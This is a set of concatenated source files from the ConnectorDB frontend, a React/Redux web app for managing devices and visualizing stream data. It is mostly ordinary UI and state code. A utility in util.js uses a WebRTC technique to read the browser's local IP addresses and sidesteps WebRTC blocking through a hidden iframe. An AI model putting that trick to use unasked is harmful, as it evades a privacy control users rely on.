type="device"
onChange={callbacks.roleChange}
/>
}
onCancel={this.props.onCancel}
onSave={this.props.onSave}
>
<PublicEditor
type="device"
public={state.public}
onChange={callbacks.publicChange}
/>
<EnabledEditor
type="device"
value={state.enabled}
onChange={callbacks.enabledChange}
/>
<VisibleEditor
type="device"
value={state.visible}
onChange={callbacks.visibleChange}
/>
</ObjectCreate>
);
}
}
export default connect(
state => ({ roles: state.site.roles.device }),
(dispatch, props) => {
let name = props.user.name;
return {
callbacks: {
nameChange: (e, txt) =>
dispatch({ type: "USER_CREATEDEVICE_NAME", name: name, value: txt }),
nicknameChange: (e, txt) =>
dispatch({
type: "USER_CREATEDEVICE_NICKNAME",
name: name,
value: txt
}),
descriptionChange: (e, txt) =>
dispatch({
type: "USER_CREATEDEVICE_DESCRIPTION",
name: name,
value: txt
}),
roleChange: (e, role) =>
dispatch({ type: "USER_CREATEDEVICE_ROLE", name: name, value: role }),
publicChange: (e, val) =>
dispatch({
type: "USER_CREATEDEVICE_PUBLIC",
name: name,
value: val
}),
enabledChange: (e, val) =>
dispatch({
type: "USER_CREATEDEVICE_ENABLED",
name: name,
value: val
}),
visibleChange: (e, val) =>
dispatch({
type: "USER_CREATEDEVICE_VISIBLE",
name: name,
value: val
}),
iconChange: (e, val) =>
dispatch({
type: "USER_CREATEDEVICE_SET",
name: name,
value: { icon: val }
})
},
onCancel: () => dispatch(createCancel("USER", "DEVICE", name)),
onSave: () => dispatch(createObject("user", "device", name, props.state))
};
}
)(DeviceCreate);
<file_sep>// The ObjectList is a list of Objects, where the object can be users, devices or streams - it only uses properties shared between
// all three to render them (except for Public - if the user/device is public, it adds a little social icon)
import React, { Component } from "react";
import PropTypes from "prop-types";
import { Card, CardText, CardHeader } from "material-ui/Card";
import { List, ListItem } from "material-ui/List";
import FontIcon from "material-ui/FontIcon";
import IconButton from "material-ui/IconButton";
import Divider from "material-ui/Divider";
import Avatar from "material-ui/Avatar";
import "../util";
import AvatarIcon from "./AvatarIcon";
class ObjectList extends Component {
static propTypes = {
objects: PropTypes.object.isRequired,
addName: PropTypes.string.isRequired,
onAddClick: PropTypes.func,
onSelect: PropTypes.func,
style: PropTypes.object,
showHidden: PropTypes.bool,
onHiddenClick: PropTypes.func
};
static defaultProps = {
style: {},
onSelect: () => {},
onAddClick: () => {},
showHidden: false,
onHiddenClick: () => {
console.log("doesnt work");
}
};
render() {
let addName = this.props.addName;
let hashidden = false;
return (
<Card style={this.props.style}>
<List>
{Object.keys(this.props.objects).map(key => {
let obj = this.props.objects[key];
let primaryText = obj.nickname != ""
? obj.nickname
: obj.name.capitalizeFirstLetter();
if (obj.visible == false && !this.props.showHidden) {
hashidden = true;
return null;
}
return (
<div key={key}>
<ListItem
primaryText={primaryText}
secondaryText={obj.description}
leftAvatar={<AvatarIcon name={obj.name} iconsrc={obj.icon} />}
rightIcon={
obj.public
? <IconButton
style={{
paddingRight: "30px",
marginTop: "0px"
}}
tooltip={"public"}
disabled={true}
>
<FontIcon className="material-icons">group</FontIcon>
</IconButton>
: undefined
}
onTouchTap={() => this.props.onSelect(key)}
/>
<Divider inset={true} />
</div>
);
})}
<ListItem
primaryText={"Add " + addName.capitalizeFirstLetter()}
secondaryText={"Create a new " + addName}
onTouchTap={this.props.onAddClick}
leftAvatar={
<Avatar
icon={<FontIcon className="material-icons"> add </FontIcon>}
/>
}
/>
</List>
{hashidden
? <IconButton
onTouchTap={() => this.props.onHiddenClick(false)}
tooltip="show hidden"
style={{
float: "right"
}}
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.1)">
more_vert
</FontIcon>
</IconButton>
: null}
</Card>
);
}
}
export default ObjectList;
<file_sep>// The downlinks page is where you can control devices connected to ConnectorDB
import { UploaderSearchInitialState, uploaderSearchReducer } from "./search";
export const UploaderPageInitialState = {
search: UploaderSearchInitialState,
part1: {
width: "half",
rawdata: "Paste your data here...",
timeformat: "",
fieldname: ""
},
part2: {
width: "half",
transform: "",
error: ""
},
part3: {
stream: "",
create: true,
overwrite: false,
removeolder: false,
loading: false,
percentdone: 0,
error: ""
},
data: []
};
export default function downlinkPageReducer(state, action) {
if (action.type.startsWith("UPLOADER_SEARCH_"))
return {
...state,
search: uploaderSearchReducer(state.search, action)
};
switch (action.type) {
case "UPLOADER_PART1":
return {
...state,
part1: {
...state.part1,
...action.value
}
};
case "UPLOADER_PART2":
return {
...state,
part2: {
...state.part2,
...action.value
}
};
case "UPLOADER_PART3":
return {
...state,
part3: {
...state.part3,
...action.value
}
};
case "UPLOADER_SET":
return {
...state,
...action.value
};
case "UPLOADER_CLEAR":
return UploaderPageInitialState;
}
return state;
}
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import TextField from "material-ui/TextField";
class NicknameEditor extends Component {
static propTypes = {
value: PropTypes.string.isRequired,
onChange: PropTypes.func.isRequired,
type: PropTypes.string.isRequired
};
render() {
return (
<div>
<h3>Description</h3>
<p>
A description can be thought of as a README for the {this.props.type}
</p>
<TextField
floatingLabelText="Description"
multiLine={true}
fullWidth={true}
value={this.props.value}
style={{
marginTop: "-20px"
}}
onChange={this.props.onChange}
/>
<br />
</div>
);
}
}
export default NicknameEditor;
<file_sep>// basic utilities that don't fit in anywhere else
// react-router uses an old version of history that doesn't have a way to extract location... so we have to listen
// to the locations, and export current location
// Allows us to get the redux store as "app"
export var app = null;
export function setApp(store) {
app = store;
}
// https://stackoverflow.com/questions/1026069/capitalize-the-first-letter-of-string-in-javascript
String.prototype.capitalizeFirstLetter = function() {
return this.charAt(0).toUpperCase() + this.slice(1);
};
// setTitle sets the window title.
export function setTitle(txt) {
if (txt == "" || txt === undefined || txt === null) {
document.title = "ConnectorDB";
} else {
document.title = txt + " - ConnectorDB";
}
}
// Strips the beginning / and end / from the path
export function getCurrentPath() {
let p = window.location.pathname.substring(1, location.pathname.length);
if (p.endsWith("/")) {
p = p.substring(0, p.length - 1);
}
return p;
}
function keepElement(t, elem) {
if (elem.name.toLowerCase().indexOf(t) != -1) {
return true;
}
if (elem.nickname.toLowerCase().indexOf(t) != -1) {
return true;
}
if (elem.description.toLowerCase().indexOf(t) != -1) {
return true;
}
return false;
}
// This filters by keepElement - makes search really easy
// http://stackoverflow.com/a/37616104
export function objectFilter(text, obj) {
let t = text.trim().toLowerCase();
if (t.length == 0) {
return obj;
}
return Object.keys(obj)
.filter(key => keepElement(t, obj[key]))
.reduce((res, key) => ((res[key] = obj[key]), res), {});
}
export function arrayFilter(text, arr) {
let t = text.trim().toLowerCase();
if (t.length == 0) {
return arr;
}
return arr.filter(e => keepElement(t, e));
}
// Uses a WebRTC hack to get the local IP. It is used when we only hae "localhost" as a server identifier
// https://github.com/diafygi/webrtc-ips
export function getIPs(callback) {
var ip_dups = {};
//compatibility for firefox and chrome
var RTCPeerConnection =
window.RTCPeerConnection ||
window.mozRTCPeerConnection ||
window.webkitRTCPeerConnection;
var useWebKit = !!window.webkitRTCPeerConnection;
//bypass naive webrtc blocking using an iframe
if (!RTCPeerConnection) {
//NOTE: you need to have an iframe in the page right above the script tag
//
//<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
//<script>...getIPs called in here...
//
var win = iframe.contentWindow;
RTCPeerConnection =
win.RTCPeerConnection ||
win.mozRTCPeerConnection ||
win.webkitRTCPeerConnection;
useWebKit = !!win.webkitRTCPeerConnection;
}
//minimal requirements for data connection
var mediaConstraints = {
optional: [{ RtpDataChannels: true }]
};
var servers = { iceServers: [{ urls: "stun:stun.services.mozilla.com" }] };
//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);
function handleCandidate(candidate) {
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;
var ip_addr = ip_regex.exec(candidate)[1];
//remove duplicates
if (ip_dups[ip_addr] === undefined) callback(ip_addr);
ip_dups[ip_addr] = true;
}
//listen for candidate events
pc.onicecandidate = function(ice) {
//skip non-candidate events
if (ice.candidate) handleCandidate(ice.candidate.candidate);
};
//create a bogus data channel
pc.createDataChannel("");
//create an offer sdp
pc.createOffer(
function(result) {
//trigger the stun server request
pc.setLocalDescription(result, function() {}, function() {});
},
function() {}
);
//wait for a while to let everything done
setTimeout(function() {
//read candidate info from local description
var lines = pc.localDescription.sdp.split("\n");
lines.forEach(function(line) {
if (line.indexOf("a=candidate:") === 0) handleCandidate(line);
});
}, 1000);
}
// https://github.com/github/fetch/issues/175 - copied from comment by nodkz
export function timeoutPromise(promise, ms = 5000) {
return new Promise((resolve, reject) => {
const timeoutId = setTimeout(() => {
reject(new Error("Could not connect to ConnectorDB"));
}, ms);
promise.then(
res => {
clearTimeout(timeoutId);
resolve(res);
},
err => {
clearTimeout(timeoutId);
reject(err);
}
);
});
}
// This function wraps the promises of connectordb so that a failed login attempt gives the correct error message.
export function cdbPromise(promise, ms = 5000) {
return timeoutPromise(promise, ms).then(function(res) {
if (res.ref !== undefined) {
throw new Error(res.msg);
}
return res;
});
}
<file_sep>/*
This is the main navigator shown for devices. This component chooses the correct page to set based upon the data
it is getting (shows loading page if the user/device/stream are not ready).
The component also performs further routing based upon the hash. This is because react-router does not
support both normal and hash-based routing at the same time.
All child pages are located in ./pages. This component can be throught of as an extension to the main app routing
done in App.js, with additional querying for the user/device/stream we want to view.
It also queries the user/device/stream-specific state from redux, so further children can just use the state without worrying
about which user/device/stream it belongs to.
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import { getDeviceState } from "./reducers/device";
import connectStorage from "./connectStorage";
import Error from "./components/Error";
import Loading from "./components/Loading";
import DeviceView from "./pages/DeviceView";
import DeviceEdit from "./pages/DeviceEdit";
import StreamCreate from "./pages/StreamCreate";
import { setTitle } from "./util";
function setDeviceTitle(user, device) {
setTitle(user == null || device == null ? "" : user.name + "/" + device.name);
}
class Device extends Component {
static propTypes = {
user: PropTypes.object,
device: PropTypes.object,
streamarray: PropTypes.object,
error: PropTypes.object,
location: PropTypes.object.isRequired,
state: PropTypes.object
};
componentDidMount() {
setDeviceTitle(this.props.user, this.props.device);
}
componentWillReceiveProps(newProps) {
if (
newProps.user !== this.props.user ||
newProps.device !== this.props.device
) {
setDeviceTitle(newProps.user, newProps.device);
}
}
render() {
if (this.props.error != null) {
return <Error err={this.props.error} />;
}
if (
this.props.user == null ||
this.props.device == null ||
this.props.streamarray == null
) {
// Currently querying
return <Loading />;
}
// React router does not allow using hash routing, so we route by hash here
switch (this.props.location.hash) {
case "#create":
return (
<StreamCreate
user={this.props.user}
device={this.props.device}
state={this.props.state.create}
datatype=""
/>
);
case "#edit":
return (
<DeviceEdit
user={this.props.user}
device={this.props.device}
state={this.props.state.edit}
/>
);
}
// Custom rating routing
if (this.props.location.hash.startsWith("#create/")) {
// The hash is to create the specific datatype.
let datatype = this.props.location.hash.substring(8);
return (
<StreamCreate
user={this.props.user}
device={this.props.device}
state={this.props.state.create}
datatype={datatype}
/>
);
}
return (
<DeviceView
user={this.props.user}
device={this.props.device}
state={this.props.state.view}
streamarray={this.props.streamarray}
/>
);
}
}
export default connectStorage(
connect((store, props) => ({
state: getDeviceState(
props.user != null && props.device != null
? props.user.name + "/" + props.device.name
: "",
store
)
}))(Device),
false,
true
);
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import { addView } from "../datatypes";
import { numeric, objectvalues, dataKeyCompare, getNumber } from "./typecheck";
import math from "mathjs";
const ShowCorrelation = ({ data }) => {
let o = objectvalues(data);
let k = Object.keys(o);
let xdata = data.map(dp => getNumber(dp.d[k[0]]));
let ydata = data.map(dp => getNumber(dp.d[k[1]]));
let xmean = math.mean(xdata);
let ymean = math.mean(ydata);
let xstd = math.std(xdata);
let ystd = math.std(ydata);
let e = 0;
for (let i = 0; i < xdata.length; i++) {
e += xdata[i] * ydata[i];
}
let correlation =
(e - xdata.length * xmean * ymean) / ((xdata.length - 1) * xstd * ystd);
correlation = math.round(correlation, 4);
return (
<div style={{ textAlign: "center" }}>
<h2>{String(correlation)}</h2>
</div>
);
};
const CorrelationView = {
key: "corrView",
component: ShowCorrelation,
width: "expandable-half",
initialState: {},
title: "Pearson Correlation",
subtitle: ""
};
function showInfoView(context) {
let d = context.data;
if (d.length <= 3) {
return null;
}
let n = numeric(context.data);
if (n !== null && !n.allbool) {
return null;
}
let o = objectvalues(context.data);
if (o !== null && Object.keys(o).length === 2) {
let k = Object.keys(o);
if (
o[k[0]].numeric !== null &&
o[k[1]].numeric !== null &&
!o[k[0]].numeric.allbool &&
!o[k[1]].numeric.allbool &&
o[k[0]].numeric.key == "" &&
o[k[1]].numeric.key == ""
) {
return CorrelationView;
}
}
return null;
}
addView(showInfoView);
<file_sep>[](https://travis-ci.org/connectordb/connectordb-frontend)
# ConnectorDB Frontend App
This is the web app used by default in ConnectorDB. It contains all of the relevant analysis, display and plotting code.
## Building
To debug the app, you will need a functioning ConnectorDB development environment.
To start off, build the ConnectorDB database:
```bash
git clone https://github.com/connectordb/connectordb
cd connectordb
make deps
make
```
After build completes, start the ConnectorDB server:
```bash
./bin/connectordb create testdb
./bin/connectordb start testdb --join
```
Open `localhost:3124`, where you will see the login screen - create a new user.
Note: On ubuntu your build might fail on npm step. This is because node is installed as nodejs.
`sudo ln -s /usr/bin/nodejs /usr/bin/node` should fix the issue.
### Setting up webapp development
Once you have the server running, you will want to start on the app itself. Web portions of ConnectorDB (including alternate web frontends) should be developed from the `site` subdirectory.
This app is pulled by default during `make deps`. To begin development, we update to the newest version (which might be newer than the one used by ConnectorDB):
```
cd site/app
git checkout master
git pull
```
Now you can start live updates to the code, which will automatically be reflected in your ConnectorDB server:
```
npm run dev
```
NOTE: npm scripts must be run in the `site/app` directory to work correctly.
### Tools
The frontend app is built with react-redux. In order to help with debugging, you should download the [Redux DevTools Extension](https://github.com/zalmoxisus/redux-devtools-extension), and add `?debug_session=1` to the end of your URL, so that you can persist the state between app code modifications.



<file_sep>/*
This shows a bar chart if we deem the data to be amenable to bar-chart-plotting.
The exact conditions are in the function showBarChart below
*/
import { addView } from "../datatypes";
import { generateBarChart } from "./components/BarChart";
import { categorical, objectvalues } from "./typecheck";
const BarView = [
{
...generateBarChart(
"map($,count) | top(20)",
"Counts the occurences of the given values"
),
key: "barView",
title: "Value Counts",
subtitle: ""
}
];
function meanBarChart(key1, key2) {
return [
{
...generateBarChart(
`map($('${key1}'),$('${key2}'):mean)`,
"Finds the mean of " + key2 + " for each " + key1 + " value.",
key1,
"Mean of " + key2
),
key: "meanBarChart",
title: `Mean of ${key2} for all ${key1}`,
subtitle: ""
}
];
}
function showBarChart(context) {
if (context.data.length < 5 || context.pipescript === null) {
return null;
}
if (categorical(context.data) !== null) {
return BarView;
}
let o = objectvalues(context.data);
if (o !== null && Object.keys(o).length == 2) {
let k = Object.keys(o);
if (
o[k[0]].categorical !== null &&
o[k[1]].numeric !== null &&
o[k[0]].categorical.categories < 50
) {
return meanBarChart(k[0], k[1]);
}
if (
o[k[1]].categorical !== null &&
o[k[0]].numeric !== null &&
o[k[1]].categorical.categories < 50
) {
return meanBarChart(k[1], k[0]);
}
}
return null;
}
addView(showBarChart);
<file_sep>import { delay } from "redux-saga";
import { put, select, takeLatest } from "redux-saga/effects";
import moment from "moment";
import storage from "../storage";
import { cdbPromise } from "../util";
const day = 60 * 60 * 24;
// Given data, where we know the time range of the data is greater than the given time, it returns the data
// from the given time range. If the data is less than 5 datapoints, returns the last 5 datapoints anyways
function extract(data, time) {
let t = data[data.length - 1].t;
for (let i = data.length - 1; i >= 0; i--) {
if (data[i].t < t - time) {
// We really don't want to return less than 5 datapoints
if (data.length - (i + 1) < 5) {
return data.slice(data.length - 5);
}
return data.slice(i + 1);
}
}
return data;
}
function* putData(path, data) {
yield put({
type: "STREAM_VIEW_SET",
name: path,
value: {
bytime: true,
t1: moment.unix(data[0].t),
t2: moment().endOf("day"),
firstvisit: false
}
});
yield put({ type: "STREAM_VIEW_DATA", name: path, value: data });
}
// Query the last trange of data from the last datapoint
function* queryTimeData(uds, path, data, trange) {
console.log("Querying", trange / day, "days of data");
let t1 = moment.unix(data[data.length - 1].t - trange);
let t2 = moment();
try {
yield put({
type: "STREAM_VIEW_SET",
name: path,
value: { bytime: true, t1: t1, t2: t2, firstvisit: false }
});
data = yield cdbPromise(
storage.cdb.timeStream(
uds[0],
uds[1],
uds[2],
t1.unix(),
t2.unix(),
20000
),
20 * 1000
);
yield put({ type: "STREAM_VIEW_DATA", name: path, value: data });
} catch (e) {
console.log("Error getting data", e);
yield put({
type: "STREAM_VIEW_ERROR",
name: path,
value: { msg: e.toString() }
});
return;
}
}
function* navigate(action) {
let path = action.payload.pathname.slice(1);
let uds = path.split("/");
if (action.payload.hash !== "" || uds.length != 3 || uds[2].length === 0) {
return;
}
// We just navigated to the streams page. Let's check if there is data already queried:
let state = yield select(state => state.stream);
if (state[path] !== undefined && !state[path].view.firstvisit) {
// This page was already visited, so we don't query any data.
return;
}
// We've got this - the page was now visited, and we're gonna query the data.
yield put({
type: "STREAM_VIEW_SET",
name: path,
value: { firstvisit: false }
});
// We are just getting the initial data from the stream.
// First, let's query the last... say 100 datapoints.
let data = [];
try {
data = yield cdbPromise(
storage.cdb.indexStream(uds[0], uds[1], uds[2], -100, 0),
5 * 1000
);
} catch (e) {
yield put({
type: "STREAM_VIEW_ERROR",
name: path,
value: { msg: e.toString() }
});
return;
}
// Now, let's check how these datapoints are on time. Our goal is to show a reasonable summary of the stream
// The issue is that sometimes 100 datapoints is way too much, and other times, 100 datapoints is less than an hour of data.
// A reasonable heuristic is how much time the datapoints represent. We assume that the data is fairly uniformly distributed
// We want to display ~ 1 week of data, but don't want to display more than ~10000 datapoints, and also not less than ~10 datapoints
let datarange = data.length > 0 ? data[data.length - 1].t - data[0].t : 0;
if (data.length <= 15 || (datarange < 14 * day && data.length < 100)) {
console.log("Showing entire dataset");
// If there are <= 15 datapoints in the stream, just display them all.
// Also if there are less than 2 weeks of data in the entire dataset, just show the full thing
yield* putData(path, data);
return;
}
if (datarange === 0) {
console.log("No time range in last 100 datapoints.");
yield* putData(path, data);
return;
}
if (datarange > 14 * day) {
console.log("Showing last 2 weeks of data");
// There is more than 2 weeks of data. Let's extract the last two weeks and display that
yield* putData(path, extract(data, 14 * day));
return;
}
if (datarange > 4 * day) {
console.log("Showing last 100 datapoints");
// There is more than 2 weeks of data. Let's extract the last two weeks and display that
yield* putData(path, data);
return;
}
// The data range is less than 4 days. We really want to see a larger time range. The only question now is
// how big we expect the stream data to get. We now find the expected number of datapoints per day
let perday = 100 / datarange * day;
if (perday <= 500) {
// Nice, let's show a week of data
yield* queryTimeData(uds, path, data, day * 7);
return;
}
if (perday <= 1000) {
// 4 days should do it
yield* queryTimeData(uds, path, data, day * 4);
return;
}
if (perday <= 2000) {
// 2 days should do it
yield* queryTimeData(uds, path, data, day * 2);
return;
}
if (perday <= 5000) {
yield* queryTimeData(uds, path, data, day);
return;
}
// Oh crap. There might be more than 8k per day. Let's just display 1000 of them
console.log("Stream looks dense. Querying last 1000 datapoints.");
yield put({
type: "STREAM_VIEW_SET",
name: path,
value: { bytime: false, i1: -1000, i2: 0, firstvisit: false }
});
try {
data = yield cdbPromise(
storage.cdb.indexStream(uds[0], uds[1], uds[2], -1000, 0),
15 * 1000
);
} catch (e) {
yield put({
type: "STREAM_VIEW_ERROR",
name: path,
value: { msg: e.toString() }
});
return;
}
yield put({ type: "STREAM_VIEW_DATA", name: path, value: data });
return;
}
export default function* downlinkSaga() {
yield takeLatest("@@router/LOCATION_CHANGE", navigate);
}
<file_sep>// The deviceReducer maintains state for all devices - each page that was visited in this session has
// its state maintained here. Each action that operates on a device contains a "name" field, which states the device
// and device in whose context to operate
// The keys in this object are going to be the device paths
const InitialState = {};
import deviceViewReducer, { DeviceViewInitialState } from "./deviceView";
import deviceEditReducer, { DeviceEditInitialState } from "./deviceEdit";
import streamCreateReducer, { StreamCreateInitialState } from "./streamCreate";
// The initial state of a specific device
const DeviceInitialState = {
edit: DeviceEditInitialState,
view: DeviceViewInitialState,
create: StreamCreateInitialState
};
export default function deviceReducer(state = InitialState, action) {
if (!action.type.startsWith("DEVICE_")) return state;
// Set up the new state
let newState = {
...state
};
// If the device already has a state, copy the next level, otherwise, initialize the next level
if (state[action.name] !== undefined) {
newState[action.name] = {
...state[action.name]
};
} else {
newState[action.name] = Object.assign({}, DeviceInitialState);
}
// Now route to the appropriate reducer
if (action.type.startsWith("DEVICE_EDIT"))
newState[action.name].edit = deviceEditReducer(
newState[action.name].edit,
action
);
if (action.type.startsWith("DEVICE_VIEW_"))
newState[action.name].view = deviceViewReducer(
newState[action.name].view,
action
);
if (action.type.startsWith("DEVICE_CREATESTREAM_"))
newState[action.name].create = streamCreateReducer(
newState[action.name].create,
action
);
return newState;
}
// get the device page from the state - the state might not have this
// particular page initialized, meaning that it wasn't acted upon
export function getDeviceState(device, state) {
return state.device[device] !== undefined
? state.device[device]
: DeviceInitialState;
}
<file_sep>// ObjectCreate sets up the creation of objects (user/device/stream) - it is the main view used
// as well as the final buttons
import React, { Component } from "react";
import PropTypes from "prop-types";
import { Card, CardText, CardHeader, CardActions } from "material-ui/Card";
import TextField from "material-ui/TextField";
import Divider from "material-ui/Divider";
import FlatButton from "material-ui/FlatButton";
import AvatarIcon from "./AvatarIcon";
import NicknameEditor from "./edit/NicknameEditor";
import DescriptionEditor from "./edit/DescriptionEditor";
import IconEditor from "./edit/IconEditor";
import "../util";
const styles = {
headers: {
color: "grey"
}
};
class ObjectCreate extends Component {
static propTypes = {
state: PropTypes.object.isRequired,
callbacks: PropTypes.object.isRequired,
type: PropTypes.string.isRequired,
parentPath: PropTypes.string.isRequired,
onCancel: PropTypes.func.isRequired,
onSave: PropTypes.func.isRequired,
required: PropTypes.element,
advanced: PropTypes.func,
header: PropTypes.string
};
static defaultProps = {
advanced: null,
header: ""
};
render() {
let state = this.props.state;
let title = "Create a new " + this.props.type;
let subtitle = this.props.parentPath + "/" + state.name;
let callbacks = this.props.callbacks;
return (
<Card
style={{
textAlign: "left"
}}
>
<CardHeader
title={title}
subtitle={subtitle}
avatar={
<AvatarIcon
name={state.name == "" ? "?" : state.name}
iconsrc={state.icon}
/>
}
/>
<CardText>
{this.props.header != "" ? <p>{this.props.header}</p> : null}
<h2 style={styles.headers}>Required:</h2>
<h3>Name</h3>
<p>
A name for your
{" "}
{this.props.type}
. Try to make it all lowercase without any spaces.
</p>
<TextField
hintText={"my" + this.props.type}
floatingLabelText="Name"
style={{
marginTop: "-25px"
}}
value={state.name}
onChange={callbacks.nameChange}
/>
<br /> {this.props.required}
<Divider
style={{
marginTop: "20px"
}}
/>
<h2 style={styles.headers}>Optional:</h2>
<NicknameEditor
type={this.props.type}
value={state.nickname}
onChange={callbacks.nicknameChange}
/>
<DescriptionEditor
type={this.props.type}
value={state.description}
onChange={callbacks.descriptionChange}
/>
<IconEditor
type={this.props.type}
value={state.icon}
onChange={callbacks.iconChange}
/>
{" "}
{this.props.children}
</CardText>
<CardActions>
<FlatButton
primary={true}
label="Create"
onTouchTap={this.props.onSave}
/>
<FlatButton label="Cancel" onTouchTap={this.props.onCancel} />
{" "}
{this.props.advanced != null
? <FlatButton
label="Advanced"
secondary={true}
style={{
float: "right"
}}
onTouchTap={this.props.advanced}
/>
: null}
</CardActions>
</Card>
);
}
}
export default ObjectCreate;
<file_sep>/**
The StreamView represents the main page shown when viewing a stream. It consists of 2 parts
parts:
- header card: the same as device/user cards - it is expandable to show stream details as well
as show icons to edit the stream
- The main bootstrap grid, which contains all visualization/querying of stream data.
The rest of this comment pertain to the bootstrap grid, which is this page's main event.
The grid is made up of 3 distinct parts:
- If the stream is a downlink stream, or the stream is the current device, show the data input control.
This corresponds to the default permissions structure where the owner alone can write streams unless
they are explicitly marked as downlink.
- The main data query control - allows you to query data from your stream however you want. The queried data
will be what is shown in the next part (the analysis cards)
- Analysis cards. These cards are given the data which is queried in the main query control, and plot/show
visualizations. Each analysis card specifies if it is to be full-width, half-width, or expandable and gives an optional
control area that drops down. Expandable cards can switch between full and half-width based on user input.
While there is no queried data, the analysis cards are replaced with a loading screen.
**/
import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import StreamCard from "../components/StreamCard";
import DataInput from "../components/DataInput";
import DataQuery from "../components/DataQuery";
import DataView from "../components/DataView";
import SearchCard from "../components/SearchCard";
import Loading from "../components/Loading";
import { setSearchSubmit, setSearchState } from "../actions";
const StreamView = ({
user,
device,
stream,
state,
thisUser,
thisDevice,
clearTransform,
transformError
}) =>
<div>
{state.search.submitted != null && state.search.submitted != ""
? <SearchCard
title={state.search.submitted}
subtitle={"Transform applied to data"}
onClose={clearTransform}
/>
: null}
<StreamCard user={user} device={device} stream={stream} state={state} />
<DataView
data={state.data}
transform={state.search.submitted}
transformError={transformError}
datatype={stream.datatype}
schema={stream.schema}
>
{stream.downlink ||
(thisUser.name == user.name && thisDevice.name == device.name)
? <DataInput
user={user}
device={device}
stream={stream}
schema={JSON.parse(stream.schema)}
thisUser={thisUser}
thisDevice={thisDevice}
/>
: null}
<DataQuery state={state} user={user} device={device} stream={stream} />
{state.loading
? <div className="col-lg-12"><Loading /></div>
: state.data.length === 0
? <div
className="col-lg-12"
style={{
textAlign: "center",
paddingTop: 100,
color: "#c2c2c2"
}}
>
<h3>No Data</h3>
</div>
: null}
</DataView>
</div>;
export default connect(
state => ({
thisUser: state.site.thisUser,
thisDevice: state.site.thisDevice
}),
dispatch => ({
clearTransform: () => dispatch(setSearchSubmit("")),
transformError: txt => dispatch(setSearchState({ error: txt }))
})
)(StreamView);
<file_sep>/*
This shows a line chart of the booleans
*/
import { addView } from "../datatypes";
import { generateLineChart } from "./components/LineChart";
import {
generateDropdownLineChart,
generateTimeOptions
} from "./components/DropdownLineChart";
import dropdownTransformDisplay from "./components/dropdownTransformDisplay";
import { numeric } from "./typecheck";
const BoolView = [
{
...generateLineChart(),
key: "boolView",
title: "Boolean View",
subtitle: ""
}
];
function showBoolView(context) {
if (context.data.length > 1) {
// We now check if the data is booleans
let n = numeric(context.data);
if (n !== null && n.allbool) {
return BoolView;
}
}
return null;
}
addView(showBoolView);
<file_sep>// The downlinks page is where you can control devices connected to ConnectorDB
import { DownlinkSearchInitialState, downlinkSearchReducer } from "./search";
export const DownlinkPageInitialState = {
loaded: false,
downlinks: [],
search: DownlinkSearchInitialState
};
export default function downlinkPageReducer(state, action) {
if (action.type.startsWith("DOWNLINK_SEARCH_"))
return {
...state,
search: downlinkSearchReducer(state.search, action)
};
switch (action.type) {
case "UPDATE_DOWNLINKS":
return {
...state,
loaded: true,
downlinks: action.value
};
}
return state;
}
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
class DataUpdater extends Component {
// Sets up the transform for use in the component
initTransform(t) {
if (t !== undefined && t !== "") {
try {
this.transform = this.props.pipescript.Script(t);
return;
} catch (e) {
console.error("TRANSFORM ERROR: ", t, e.toString());
}
}
this.transform = null;
}
// Returns the data transformed if there is a transform
// in the props, and the original data if it is not
dataTransform(data) {
if (this.transform != null) {
try {
return this.transform.Transform(data);
} catch (e) {
console.error("DATA ERROR: ", data, e.toString());
}
}
return data;
}
// Generate the component's initial state
componentWillMount() {
this.initTransform(this.props.transform);
this.tdata = this.dataTransform(this.props.data);
this.data = this.transformDataset(this.tdata, this.props.state);
}
// Each time either the data or the transform changes, reload
componentWillReceiveProps(p) {
// We only perform the dataset transform operation if the dataset
// was modified
if (
p.data !== this.props.data ||
this.props.transform !== p.transform ||
this.props.state !== p.state
) {
if (this.props.transform !== p.transform) {
this.initTransform(p.transform);
}
if (p.data !== this.props.data || this.props.transform !== p.transform) {
this.tdata = this.dataTransform(p.data);
}
this.data = this.transformDataset(this.tdata, p.state);
}
}
shouldComponentUpdate(p, s) {
if (
p.data !== this.props.data ||
this.props.transform !== p.transform ||
this.props.state !== p.state ||
s !== this.state
) {
return true;
}
return false;
}
}
//export default DataUpdater;
export default DataUpdater;
<file_sep>/*
This is the window shown on dropdown for certain views that allows showing a quick description
of the view's backend
*/
import React from "react";
import PropTypes from "prop-types";
import createClass from "create-react-class";
import TransformInput from "../../../components/TransformInput";
import { app } from "../../../util";
import { setSearchText } from "../../../actions";
export default function generateDropdownTransformDisplay(
description,
transform
) {
return createClass({
render: function() {
let tf = transform;
if (this.props.state.transform !== undefined) {
tf = this.props.state.transform;
}
let desc = description;
if (this.props.state.description !== undefined) {
desc = this.props.state.description;
}
return (
<div>
<p>{desc}</p>
<h4
style={{
paddingTop: "10px"
}}
>
Transform
</h4>
<p>This is the transform used to generate this visualization:</p>
<TransformInput
transform={tf}
onChange={txt => null}
onClick={() => app.dispatch(setSearchText(tf))}
/>
</div>
);
}
});
}
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import TextField from "material-ui/TextField";
class EmailEditor extends Component {
static propTypes = {
value: PropTypes.string.isRequired,
onChange: PropTypes.func.isRequired,
type: PropTypes.string.isRequired
};
render() {
return (
<div>
<TextField
hintText="Email"
floatingLabelText="Email"
value={this.props.value}
onChange={this.props.onChange}
/>
<br />
</div>
);
}
}
export default EmailEditor;
<file_sep>/**
* This file is the test suite for the type-checking code used to ensure that
* a given datapoint array can be displayed by a certain visualization
*/
import * as tc from "../js/datatypes/views/typecheck";
let dpa = [{ t: 11, d: 23 }];
describe("Datapoint Array Type Checking", function() {
describe("single datapoint type check", function() {
it("checks isNumber", function() {
expect(tc.isNumber(0.3)).toBe(true);
expect(tc.isNumber(-3453)).toBe(true);
expect(tc.isNumber("1337.6")).toBe(true);
expect(tc.isNumber(true)).toBe(false);
expect(tc.isNumber("hi")).toBe(false);
});
